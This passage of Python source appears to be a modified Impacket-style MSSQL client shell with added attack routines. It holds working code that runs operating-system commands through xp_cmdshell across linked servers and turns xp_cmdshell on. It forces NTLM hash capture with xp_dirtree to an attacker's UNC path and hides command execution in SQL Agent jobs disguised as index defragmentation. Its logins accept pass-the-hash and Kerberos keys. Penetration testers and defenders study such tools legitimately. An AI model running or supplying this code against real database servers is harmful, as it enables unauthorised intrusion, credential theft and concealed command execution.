res = self.sql.sql_query("EXEC ('EXEC (''xp_cmdshell ''''" + cmd + "'''' '') AT \"" + srv2 + "\"') AT \"" + srv + "\";")
data = self.parse_result1(res)
if data and data[0] == 'NULL':
print(srv2, "(via ",srv,") --> Null response, check result by yourself")
elif data:
print("\033[1;32m\n[+] SUCCES ON: ",srv2," (via ",srv,")\033[0;0m")
print('\n'.join([ str(d) for d in data ]))
else:
print("\033[1;31m\n[-] Failed on: ",srv2," (via ",srv,")\033[0;0m")
self.sql.printReplies()
def do_grab_netntlm(self, ip):
self.sql.sql_query("EXEC master..xp_dirtree \"\\\\" + ip + "\\\\test\";")
self.sql.printReplies()
self.sql.printRows()
######################################
####### AMA MODIF ENDS HERE #########
######################################
def sp_start_job(self, s):
try:
self.sql.sql_query("DECLARE @job NVARCHAR(100);"
"SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());"
"EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',"
"@owner_login_name='sa',@delete_level=3;"
"EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',"
"@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
"EXEC msdb..sp_add_jobserver @job_name=@job;"
"EXEC msdb..sp_start_job @job_name=@job;" % s)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
"'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows '
'Authentication (default False)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
ms_sql = tds.MSSQL(address, int(options.port))
ms_sql.connect()
try:
if options.k is True:
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
kdcHost=options.dc_ip)
else:
res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
ms_sql.printReplies()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
res = False
if res is True:
shell = SQLSHELL(ms_sql)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print("SQL> %s" % line, end=' ')
shell.onecmd(line)
ms_sql.disconnect()